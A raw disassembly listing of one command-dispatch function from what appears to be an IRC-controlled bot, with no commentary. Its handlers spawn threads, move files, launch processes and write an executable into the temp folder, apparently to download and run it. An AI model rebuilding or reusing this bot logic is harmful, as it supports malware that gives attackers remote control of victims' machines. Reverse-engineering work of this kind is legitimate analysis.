		cmp	byte_43E938[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E92C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E720[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E938
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_407984:				; CODE XREF: sub_401ACD+4DA9j
					; sub_401ACD+4DC0j
		push	edi
		call	dword_4CBA24	; inet_addr
		push	[ebp+arg_18]
		mov	[ebp+var_680], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_690], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_688], eax
		lea	eax, [ebp+var_710]
		mov	[ebp+var_714], esi
		push	eax
		call	sub_41BFD0
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_678], edi
		push	[ebp+var_688]
		mov	[ebp+var_674], eax
		push	[ebp+var_690]
		push	[ebp+var_680]
		call	dword_4CBA70	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A918
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_684], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_714]
		push	ebx
		push	eax
		push	offset sub_40C92C
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_684]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407A66


loc_407A50:				; CODE XREF: sub_401ACD+5F97j
		cmp	[ebp+var_670], ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407A50
; ---------------------------------------------------------------------------


loc_407A66:				; CODE XREF: sub_401ACD+5F81j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AA08
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407A77:				; CODE XREF: sub_401ACD+4D7Bj
					; sub_401ACD+4D92j
		push	edi
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1130],	eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_1134],	eax
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_88]
		mov	[ebp+var_123C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_1120],	eax
		push	[ebp+var_1134]
		lea	eax, [ebp+var_1234]
		mov	[ebp+var_1124],	edi
		push	eax
		push	[ebp+var_1130]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A8DC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	18h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_112C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_123C]
		push	ebx
		push	eax
		push	offset sub_410DAB
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_112C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407B63


loc_407B4D:				; CODE XREF: sub_401ACD+6094j
		cmp	[ebp+var_111C],	ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407B4D
; ---------------------------------------------------------------------------


loc_407B63:				; CODE XREF: sub_401ACD+607Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A898
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407B74:				; CODE XREF: sub_401ACD+4D4Dj
					; sub_401ACD+4D64j
		push	0FFh
		lea	eax, [ebp+var_287C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	0FFh
		lea	eax, [ebp+var_277C]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_0]
		mov	[ebp+var_2678],	ebx
		call	sub_41C159
		mov	[ebp+var_2674],	eax
		mov	eax, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_407BCD
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_266C],	eax
		jmp	short loc_407BD3
; ---------------------------------------------------------------------------


loc_407BCD:				; CODE XREF: sub_401ACD+60EAj
		mov	[ebp+var_266C],	ebx


loc_407BD3:				; CODE XREF: sub_401ACD+60FEj
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_407BEA
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_2670],	eax
		jmp	short loc_407BF0
; ---------------------------------------------------------------------------


loc_407BEA:				; CODE XREF: sub_401ACD+610Cj
		mov	[ebp+var_2670],	ebx


loc_407BF0:				; CODE XREF: sub_401ACD+611Bj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2668],	eax
		lea	eax, [ebp+var_28FC]
		mov	[ebp+var_2900],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2660],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_2664],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42A86C
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Dh
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_267C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2900]
		push	ebx
		push	eax
		push	offset sub_4167A0
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_267C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407CA1


loc_407C8B:				; CODE XREF: sub_401ACD+61D2j
		cmp	[ebp+var_265C],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407C8B
; ---------------------------------------------------------------------------


loc_407CA1:				; CODE XREF: sub_401ACD+61BCj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A82C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407CB2:				; CODE XREF: sub_401ACD+4D1Fj
					; sub_401ACD+4D36j
		push	7Fh
		lea	eax, [ebp+var_3494]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3414]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3394]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3314]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3290],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_328C],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3498],	esi
		push	edi
		push	offset unk_42A7F0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	12h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3294],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3498]
		push	ebx
		push	eax
		push	offset sub_41561D
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3294]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407D89


loc_407D73:				; CODE XREF: sub_401ACD+62BAj
		cmp	[ebp+var_3288],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407D73
; ---------------------------------------------------------------------------


loc_407D89:				; CODE XREF: sub_401ACD+62A4j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A7B8
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407D9A:				; CODE XREF: sub_401ACD+4BF2j
					; sub_401ACD+4C09j
		push	7Fh
		lea	eax, [ebp+var_306C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2FEC]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2F6C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_2EEC]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2E68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2E64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3070],	esi
		push	edi
		push	offset unk_42A788
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Eh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_2E6C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3070]
		push	ebx
		push	eax
		push	offset sub_414358
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2E6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407E71


loc_407E5B:				; CODE XREF: sub_401ACD+63A2j
		cmp	[ebp+var_2E60],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407E5B
; ---------------------------------------------------------------------------


loc_407E71:				; CODE XREF: sub_401ACD+638Cj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A750
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407E82:				; CODE XREF: sub_401ACD+4AC9j
					; sub_401ACD+4AE0j ...
		push	7Fh
		lea	eax, [ebp+var_3CE8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3C68]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3BE8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3B68]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		push	20h
		lea	eax, [ebp+var_3AE8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3A68],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3A64],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_3CF0],	esi
		push	edi
		push	offset unk_42A720
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Dh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3CEC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3CF0]
		push	ebx
		push	eax
		push	offset sub_4135DF
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3CEC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_407F6A


loc_407F54:				; CODE XREF: sub_401ACD+649Bj
		cmp	[ebp+var_3A60],	ebx
		jnz	loc_407196
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_407F54
; ---------------------------------------------------------------------------


loc_407F6A:				; CODE XREF: sub_401ACD+6485j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A6E8
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_407F7B:				; CODE XREF: sub_401ACD+4A9Bj
					; sub_401ACD+4AB2j
		push	7Fh
		lea	eax, [ebp+var_177C]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	3Fh
		mov	[ebp+var_162C],	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_16FC]
		push	eax
		call	sub_41BFD0
		mov	esi, [ebp+esi+var_80]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_407FC6
		push	3Fh
		lea	eax, [ebp+var_16BC]
		push	esi
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_407FC6:				; CODE XREF: sub_401ACD+64E5j
		lea	eax, [ebp+var_16FC]
		mov	[ebp+var_1628],	1
		push	eax
		lea	eax, [ebp+var_177C]
		push	[ebp+var_162C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A6B8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Fh
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1624],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1780]
		push	ebx
		push	eax
		push	offset sub_4017ED
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1624]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408052


loc_40803C:				; CODE XREF: sub_401ACD+6583j
		cmp	[ebp+var_1620],	ebx
		jnz	loc_406BFE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40803C
; ---------------------------------------------------------------------------


loc_408052:				; CODE XREF: sub_401ACD+656Dj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A67C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408063:				; CODE XREF: sub_401ACD+4A5Bj
					; sub_401ACD+4A72j
		push	[ebp+arg_18]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1D68],	eax
		jle	loc_408156
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1EF0]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_1D64],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1EF4],	eax
		lea	eax, [ebp+var_1DF0]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1D60],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_1D5C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A650
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	15h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1D70],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1EF4]
		push	ebx
		push	eax
		push	offset sub_413A29
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1D70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_408145


loc_408133:				; CODE XREF: sub_401ACD+6676j
		cmp	[ebp+var_1D58],	ebx
		jnz	short loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_408133
; ---------------------------------------------------------------------------


loc_408145:				; CODE XREF: sub_401ACD+6664j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A618
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_408156:				; CODE XREF: sub_401ACD+65A7j
		push	offset unk_42A5E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_408160:				; CODE XREF: sub_401ACD+4A2Dj
					; sub_401ACD+4A44j
		push	[ebp+arg_18]
		push	edi
		call	dword_4270BC	; MoveFileA
		test	eax, eax
		jz	short loc_40818D
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A5BC
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_4081AD
; ---------------------------------------------------------------------------


loc_40818D:				; CODE XREF: sub_401ACD+669Fj
		push	offset dword_42A5B0
		call	sub_418699
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360


loc_4081AA:				; CODE XREF: sub_401ACD+548Dj
					; sub_401ACD+73C5j
		add	esp, 0Ch


loc_4081AD:				; CODE XREF: sub_401ACD+20DCj
					; sub_401ACD+2E89j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_4081CA:				; CODE XREF: sub_401ACD+56E4j
		call	sub_409869
		add	esp, 14h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_4081D7:				; CODE XREF: sub_401ACD+49FFj
					; sub_401ACD+4A16j
		push	edi
		lea	eax, [ebp+var_3F08]
		push	104h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_408211
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_408211
		push	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_408211:				; CODE XREF: sub_401ACD+6722j
					; sub_401ACD+6733j
		push	[ebp+var_88]
		lea	eax, [ebp+var_3F88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_3F8C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3CFC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_3CF8],	eax
		lea	eax, [ebp+var_3E04]
		push	eax
		lea	eax, [ebp+var_3F08]
		push	eax
		push	offset unk_42A580
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	24h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_3D00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8C]
		push	ebx
		push	eax
		push	offset sub_417054
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_3D00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4082C3


loc_4082B1:				; CODE XREF: sub_401ACD+67F4j
		cmp	[ebp+var_3CF4],	ebx
		jnz	short loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4082B1
; ---------------------------------------------------------------------------


loc_4082C3:				; CODE XREF: sub_401ACD+67E2j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42A544


loc_4082CF:				; CODE XREF: sub_401ACD+909j
					; sub_401ACD+A47j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_4082DE:				; CODE XREF: sub_401ACD+7C5j
					; sub_401ACD+930j ...
		push	1
		pop	esi
		jmp	loc_406C22
; ---------------------------------------------------------------------------


loc_4082E6:				; CODE XREF: sub_401ACD+49D1j
					; sub_401ACD+49E8j
		push	44h
		lea	eax, [ebp+var_668]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		push	1
		mov	[ebp+var_668], esi
		pop	esi
		mov	[ebp+var_638], bx
		push	edi
		mov	[ebp+var_63C], esi
		call	sub_41C159
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_408323
		mov	[ebp+var_638], 5


loc_408323:				; CODE XREF: sub_401ACD+684Bj
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_406BFE
		lea	eax, [ebp+var_E34]
		push	eax
		lea	eax, [ebp+var_668]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		call	dword_427074	; CreateProcessA
		test	eax, eax
		jnz	short loc_40836E
		push	offset unk_42A520
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_401ACD+6895j
		push	edi
		push	offset dword_42A504
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_408379:				; CODE XREF: sub_401ACD+49A3j
					; sub_401ACD+49BAj
		push	[ebp+arg_18]
		push	offset aScortiser ; "scortiser"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084F0
		lea	eax, [ebp+var_4BF8]
		push	eax
		push	104h
		call	dword_4270B8	; GetTempPathA
		push	0FFh
		lea	eax, [ebp+var_25D4]
		push	edi
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_17D4]
		push	eax
		call	sub_40AB77
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_4BF8]
		push	eax
		lea	eax, [ebp+var_24D4]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_41C266
		mov	eax, [ebp+esi+var_84]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_23D0],	1
		mov	[ebp+var_23CC],	ebx
		jz	short loc_40840E
		push	10h
		push	ebx
		push	eax
		call	sub_41C7A5
		add	esp, 0Ch
		mov	[ebp+var_23C4],	eax
		jmp	short loc_408414
; ---------------------------------------------------------------------------


loc_40840E:				; CODE XREF: sub_401ACD+692Bj
		mov	[ebp+var_23C4],	ebx


loc_408414:				; CODE XREF: sub_401ACD+693Fj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_40842B
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_23C8],	eax
		jmp	short loc_408431
; ---------------------------------------------------------------------------


loc_40842B:				; CODE XREF: sub_401ACD+694Dj
		mov	[ebp+var_23C8],	ebx


loc_408431:				; CODE XREF: sub_401ACD+695Cj
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_23C0],	eax
		lea	eax, [ebp+var_2654]
		mov	[ebp+var_2658],	esi
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_23B8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_23BC],	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A4CC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_23D4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2658]
		push	ebx
		push	eax
		push	offset sub_4167A0
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_23D4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4084DF


loc_4084C9:				; CODE XREF: sub_401ACD+6A10j
		cmp	[ebp+var_23B4],	ebx
		jnz	loc_406BFE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4084C9
; ---------------------------------------------------------------------------


loc_4084DF:				; CODE XREF: sub_401ACD+69FAj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42A490
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_4084F0:				; CODE XREF: sub_401ACD+68BDj
		push	offset dword_42A448


loc_4084F5:				; CODE XREF: sub_401ACD+2E30j
					; sub_401ACD+447Dj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_406BFE
; ---------------------------------------------------------------------------


loc_408508:				; CODE XREF: sub_401ACD+4975j
					; sub_401ACD+498Cj
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_401F75
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A438
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		push	edi
		call	sub_41C159
		add	esp, 28h
		test	eax, eax
		jle	short loc_408591
		push	edi
		call	sub_41C159
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_427080	; Sleep


loc_408591:				; CODE XREF: sub_401ACD+6AAEj
		push	offset dword_42A424
		call	sub_415D38
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4085A5:				; CODE XREF: sub_401ACD+4947j
					; sub_401ACD+495Ej
		push	[ebp+var_8C]
		push	offset dword_42CCD0
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401F75
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_408664
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42A438
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset unk_42A40C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		test	eax, eax
		jle	loc_409644
		push	edi
		call	sub_41C159
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401ACD+6B1Dj
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A3D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_408678:				; CODE XREF: sub_401ACD+74E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408699
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_408699:				; CODE XREF: sub_401ACD+6BAEj
					; sub_401ACD+71C7j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_409643
; ---------------------------------------------------------------------------


loc_4086AA:				; CODE XREF: sub_401ACD+4919j
					; sub_401ACD+4930j
		push	7Fh
		lea	eax, [ebp+var_2218]
		push	edi
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2198]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	7Fh
		lea	eax, [ebp+var_2118]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_2094],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_221C],	esi
		push	[ebp+arg_18]
		mov	[ebp+var_2090],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset unk_42A3A4
		push	eax
